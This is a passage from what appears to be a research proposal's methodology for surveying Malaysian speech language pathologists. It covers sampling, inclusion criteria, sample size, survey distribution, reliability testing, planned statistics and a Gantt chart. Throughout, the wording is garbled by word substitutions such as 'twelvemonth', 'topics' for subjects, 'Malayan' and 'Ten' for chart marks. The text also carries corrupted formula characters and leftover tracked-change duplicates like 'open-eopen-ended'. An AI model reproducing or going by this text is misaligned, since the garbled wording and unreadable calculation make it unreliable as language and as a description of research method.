sampling method is used for this survey. All participants who fulfill the inclusion standards ( Please refer to 4.6 ) will be recruited.4.5 Sampling FrameThe contact lists of Speech Language Pathologists who graduated from Universiti Kebangsaan Malaysia ( UKM ) and Universiti Sains Malaysia ( USM ) will be obtained in order to administer the study to all alumnas members. The study will be besides mailed or/and posted to all Speech Language Pathologists working with Ministry of Health and to all members listed in the directories of local professional organic structures ( i.e. Malayan Association of Speech-Language & A ; Hearing ( MASH ) and others ) .4.6 Sample Inclusion CriterionParticipants inclusion standards: Qualified Speech Language Pathologists and practising locally. However, Speech Language Pathologists who have non had experience in pull offing kids with Developmental Disability in the Developing Language Stage will be indicated in the study to return the study without farther responses ( Please refer Appendix A ) .4.7 Sample Size CalculationAishah ( 2012-unpublish ) reported that there are 175 SLPs registered in the UKM and USM alumni from local universities by the twelvemonth 2011. Besides Speech Language Pathologists who have obtained their makings locally, Speech Language Pathologists who graduated from overseas are besides included in the survey, with the status that they are presently practising locally. Hence, the population of Malayan Speech Language Pathologists is estimated to be between the scope of 175 to 250 Speech Language Pathologists. The mean of the scope of 210 Speech Language Pathologists will be used as N, in the undermentioned computation: I†¡A?NP ( 1-P ) = 3.84 ten ( 210 ) ( 0.5 ) ( 1-0.5 ) dA? ( N-1 ) + I†¡A?P ( 1-P ) 0.05A? ( 210-1 ) + 3.84 ( 0.5 ) ( 0.5 ) = 137 participants Happening of backdown and bead out of 10 % is farther considered in the sample size computation. Entire topics = nn__ 1-0.1 = _137_ 0.9 = 152 participantssubjects Therefore, a sum of 152 topics participants will be recruited in this survey.6.54.8 Data CollectionThe study utilized for this survey is adapted from several surveies that focus on happening similar results on SLP patterns ( Joginder Singh et Al. 2011 ; Mustaffa Kamal et Al. 2012 ; Othman 2010 ; Stuck 2012 ) . The study is constructed utilizing English because the participants involved in this survey are qualified Malayan Speech Language Pathologists who have English proficiency. The study contains the undermentioned subdivisions: Part A: Demographic Data Part B: Specific Clinical Components 7 parts that are Demographic informations, Approaches used, Assessment, Planning, Treatment, Opinions sing bing issue and Recommendations of better pattern. Close-ended inquiries utilizing 5 points LikertLikert grading and multiple picks are included in the study. Besides, and open-eopen-ended inquiries are besides included. nded inquiries are included. ( Please refer to Appendix A ) . Survey and information sheet will be distributed to the Speech Language Pathologists SLPs via electronic mail and/or gpost. QuestionPro ‘s online study package will be used to administer the study via electronic mail. Meanwhile, Ffor Speech Language Pathologists SLPs who will have the study and information sheet via postmailing, a reply-paid envelope is included for them to return the study. SLPs will be informed that the returning of completed questionnaire study indicate consent to take part in this survey. A follow-up reminder electronic mail or phone call will be sent to Speech Language Pathologists SLP ten 10 yearss after the initial distribution. A 2nd reminder electronic mail or phone call will be sent 2 hebdomads subsequently.64..96 Validity and Reliability of SurveyThe study will be piloted on 10 participants. Concept, content and face cogency will be determined by modifying the points consequently ( following the pilot survey ) through feedback from the participants. To find how closely related the set of points are grouped in the study, internal dependability of the study constituents will be assessedachieved by ciphering Cronbach ‘s Alpha Coefficientusing Cronbach ‘s alpha. This will demo how closely related the set of points are as a group in the study.6.74.10 Statistical TrialThe quantitative informations obtained from closed-ended inquiries in the study will be analyzed utilizing descriptive statistics. From the study, 11 out of 20 closed-ended inquiries are far ther divided into sub-items. Hence, factor analysis via chief component analysis ( PCA ) is used as a information decrease technique. Items in the study that measured the same implicit in concept will be grouped together. Analysis method used by Mathers-Schmidt & A ; Kurlinski ( 2003 ) will be adopted in this survey. Descriptive statistics ( per centums ) of the grouped-items is calculated to look into the grade of which specific clinical constituents are used. First, to find which specific clinical constituents of Speech Language PathologistsSLPs ‘ pattern are most normally used, the per centum of responses for each reply option ( ne'er, seldom, sometime, normally, or ever ) will be calculated. Percentages of response for option â€Å" normally † and â€Å" ever † are combined. The specific clinical constituents are so categorized into 3 groups: ( 1 ) constituents usually/always used by 90 % or more of the topics ; ( 2 ) constituents usually/always used by 50-90 % of the topics ; and ( 3 ) constituents usually/always used by less than 50 % of the topics. Second, consistence of the specific clinical constituents practiced by the topics will be determined. The information will be categorized as follows: ( 1 ) extremely consistent-75 % of topics indicated the same frequence of usage ; ( 2 ) reasonably consistent-50-75 % topics indicated the same frequence of usage ; ( 3 ) and inconsistent-less than 50 % of topics indicated the same frequence of usage for a peculiar clinical constituent.6.84.11 Research Procedure6.94.12 Gantt ChartYear/Month Undertaking Activities 2012 2013 July Aug Sept Oct Nov Dec Jan Feb Mac Apr May Literature Review Ten Ten Ten Ten Ten Ten Ten Ten Ten Ten Proposal Presentation Ten SurveyDevelopment Ten Ten Ten Application for Ethical motives Ten Ten Pilot Study Ten Ten Data Collection Ten Ten Ten Ten Datas Analysis Ten Ten Ten Ten Report Writing Ten Ten Ten Ten Ten Ten Ten Concluding Presentation Ten6.104.13 Information Sheet and Consent FormThe information sheet that will administer to the topics is attached in Appendix B. Meanwhile, the topics will be informed that the returning of completed questionnaire indicate their consent to take part in this survey.